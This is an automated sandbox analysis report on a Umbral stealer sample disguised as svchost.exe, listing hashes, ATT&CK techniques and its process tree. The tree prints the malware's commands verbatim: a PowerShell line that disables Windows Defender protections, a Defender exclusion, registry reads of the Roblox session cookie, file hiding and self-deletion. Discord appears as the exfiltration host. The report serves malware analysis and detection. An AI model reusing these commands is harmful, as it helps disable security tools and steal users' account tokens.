umbral | e6d228a2a4610cb3d21b4cc965223f5f4c98e40263c71d0307e6dc4a693512ec

Analysis

max time kernel
13s
max time network
18s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
18-09-2024 15:02

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General

Target

svchost.exe
Size

234KB
MD5

4de282f3a3d77c0b217fa45c09454d22
SHA1

bdf07d339f21217ae5acfcce83bcc04ac1037134
SHA256

e6d228a2a4610cb3d21b4cc965223f5f4c98e40263c71d0307e6dc4a693512ec
SHA512

2b58af8a8b1ed2328c100dc9f7665e26c08c3b586079f736255003f3a1a503d6ba97a4040168c5da4d6998d0d2ed81735b74d73958e9baeef361d97559c701fa
SSDEEP

6144:1rQHIw0YRt+1SHkekkngPBJW8e1mhNax:1QP+2nfC0x

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1308-1-0x000001DCFD180000-0x000001DCFD1C0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
436	powershell.exe
4832	powershell.exe
5020	powershell.exe
3356	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	svchost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4620	cmd.exe
4572	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1032	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4572	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1308	svchost.exe
436	powershell.exe
436	powershell.exe
5020	powershell.exe
5020	powershell.exe
3356	powershell.exe
3356	powershell.exe
1216	powershell.exe
1216	powershell.exe
4832	powershell.exe
4832	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1308	svchost.exe
Token: SeIncreaseQuotaPrivilege	4636	wmic.exe
Token: SeSecurityPrivilege	4636	wmic.exe
Token: SeTakeOwnershipPrivilege	4636	wmic.exe
Token: SeLoadDriverPrivilege	4636	wmic.exe
Token: SeSystemProfilePrivilege	4636	wmic.exe
Token: SeSystemtimePrivilege	4636	wmic.exe
Token: SeProfSingleProcessPrivilege	4636	wmic.exe
Token: SeIncBasePriorityPrivilege	4636	wmic.exe
Token: SeCreatePagefilePrivilege	4636	wmic.exe
Token: SeBackupPrivilege	4636	wmic.exe
Token: SeRestorePrivilege	4636	wmic.exe
Token: SeShutdownPrivilege	4636	wmic.exe
Token: SeDebugPrivilege	4636	wmic.exe
Token: SeSystemEnvironmentPrivilege	4636	wmic.exe
Token: SeRemoteShutdownPrivilege	4636	wmic.exe
Token: SeUndockPrivilege	4636	wmic.exe
Token: SeManageVolumePrivilege	4636	wmic.exe
Token: 33	4636	wmic.exe
Token: 34	4636	wmic.exe
Token: 35	4636	wmic.exe
Token: 36	4636	wmic.exe
Token: SeIncreaseQuotaPrivilege	4636	wmic.exe
Token: SeSecurityPrivilege	4636	wmic.exe
Token: SeTakeOwnershipPrivilege	4636	wmic.exe
Token: SeLoadDriverPrivilege	4636	wmic.exe
Token: SeSystemProfilePrivilege	4636	wmic.exe
Token: SeSystemtimePrivilege	4636	wmic.exe
Token: SeProfSingleProcessPrivilege	4636	wmic.exe
Token: SeIncBasePriorityPrivilege	4636	wmic.exe
Token: SeCreatePagefilePrivilege	4636	wmic.exe
Token: SeBackupPrivilege	4636	wmic.exe
Token: SeRestorePrivilege	4636	wmic.exe
Token: SeShutdownPrivilege	4636	wmic.exe
Token: SeDebugPrivilege	4636	wmic.exe
Token: SeSystemEnvironmentPrivilege	4636	wmic.exe
Token: SeRemoteShutdownPrivilege	4636	wmic.exe
Token: SeUndockPrivilege	4636	wmic.exe
Token: SeManageVolumePrivilege	4636	wmic.exe
Token: 33	4636	wmic.exe
Token: 34	4636	wmic.exe
Token: 35	4636	wmic.exe
Token: 36	4636	wmic.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeDebugPrivilege	1216	powershell.exe
Token: SeIncreaseQuotaPrivilege	2912	wmic.exe
Token: SeSecurityPrivilege	2912	wmic.exe
Token: SeTakeOwnershipPrivilege	2912	wmic.exe
Token: SeLoadDriverPrivilege	2912	wmic.exe
Token: SeSystemProfilePrivilege	2912	wmic.exe
Token: SeSystemtimePrivilege	2912	wmic.exe
Token: SeProfSingleProcessPrivilege	2912	wmic.exe
Token: SeIncBasePriorityPrivilege	2912	wmic.exe
Token: SeCreatePagefilePrivilege	2912	wmic.exe
Token: SeBackupPrivilege	2912	wmic.exe
Token: SeRestorePrivilege	2912	wmic.exe
Token: SeShutdownPrivilege	2912	wmic.exe
Token: SeDebugPrivilege	2912	wmic.exe
Token: SeSystemEnvironmentPrivilege	2912	wmic.exe
Token: SeRemoteShutdownPrivilege	2912	wmic.exe
Token: SeUndockPrivilege	2912	wmic.exe
Token: SeManageVolumePrivilege	2912	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1308 wrote to memory of 4636	1308	svchost.exe	82
PID 1308 wrote to memory of 4636	1308	svchost.exe	82
PID 1308 wrote to memory of 2168	1308	svchost.exe	85
PID 1308 wrote to memory of 2168	1308	svchost.exe	85
PID 1308 wrote to memory of 436	1308	svchost.exe	87
PID 1308 wrote to memory of 436	1308	svchost.exe	87
PID 1308 wrote to memory of 5020	1308	svchost.exe	89
PID 1308 wrote to memory of 5020	1308	svchost.exe	89
PID 1308 wrote to memory of 3356	1308	svchost.exe	91
PID 1308 wrote to memory of 3356	1308	svchost.exe	91
PID 1308 wrote to memory of 1216	1308	svchost.exe	95
PID 1308 wrote to memory of 1216	1308	svchost.exe	95
PID 1308 wrote to memory of 2912	1308	svchost.exe	98
PID 1308 wrote to memory of 2912	1308	svchost.exe	98
PID 1308 wrote to memory of 3120	1308	svchost.exe	100
PID 1308 wrote to memory of 3120	1308	svchost.exe	100
PID 1308 wrote to memory of 1832	1308	svchost.exe	102
PID 1308 wrote to memory of 1832	1308	svchost.exe	102
PID 1308 wrote to memory of 4832	1308	svchost.exe	104
PID 1308 wrote to memory of 4832	1308	svchost.exe	104
PID 1308 wrote to memory of 1032	1308	svchost.exe	106
PID 1308 wrote to memory of 1032	1308	svchost.exe	106
PID 1308 wrote to memory of 4620	1308	svchost.exe	109
PID 1308 wrote to memory of 4620	1308	svchost.exe	109
PID 4620 wrote to memory of 4572	4620	cmd.exe	111
PID 4620 wrote to memory of 4572	4620	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2168	attrib.exe

C:\Users\Admin\AppData\Local\Temp\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\svchost.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1308
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4636
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
  2⤵
  - Views/modifies file attributes
  PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1216
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3120
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4832
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1032
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\svchost.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
79f6952813009f51247491052ca9ebbb

SHA1
78210dbe806bcde87a5f00201c9068bc1737a9ca

SHA256
bee2da5d5a697d09df4aa2b1c374a083a49b4f319c11da53c43ce9520b72a5dd

SHA512
cd019d3dc84665413a23cb2f4ed8fbe6bd6673928144d7af31e70d46dc24ce876bd5ffb11cb65fd5532f8f00bd793dd883200069b06dc93becf5d1db0399c22b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xn2eh0q.ars.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/436-4-0x00007FFD531C0000-0x00007FFD53C81000-memory.dmp

Filesize
10.8MB

Download
memory/436-17-0x00007FFD531C0000-0x00007FFD53C81000-memory.dmp

Filesize
10.8MB

Download
memory/436-5-0x000002001F000000-0x000002001F022000-memory.dmp

Filesize
136KB

Download
memory/436-3-0x00007FFD531C0000-0x00007FFD53C81000-memory.dmp

Filesize
10.8MB

Download
memory/436-2-0x00007FFD531C0000-0x00007FFD53C81000-memory.dmp

Filesize
10.8MB

Download
memory/1308-0-0x00007FFD531C3000-0x00007FFD531C5000-memory.dmp

Filesize
8KB

Download
memory/1308-31-0x000001DCFFB50000-0x000001DCFFBC6000-memory.dmp

Filesize
472KB

Download
memory/1308-32-0x000001DCFFB00000-0x000001DCFFB50000-memory.dmp

Filesize
320KB

Download
memory/1308-33-0x000001DCFFAD0000-0x000001DCFFAEE000-memory.dmp

Filesize
120KB

Download
memory/1308-69-0x000001DCFFE20000-0x000001DCFFE2A000-memory.dmp

Filesize
40KB

Download
memory/1308-70-0x000001DCFFE50000-0x000001DCFFE62000-memory.dmp

Filesize
72KB

Download
memory/1308-1-0x000001DCFD180000-0x000001DCFD1C0000-memory.dmp

Filesize
256KB

Download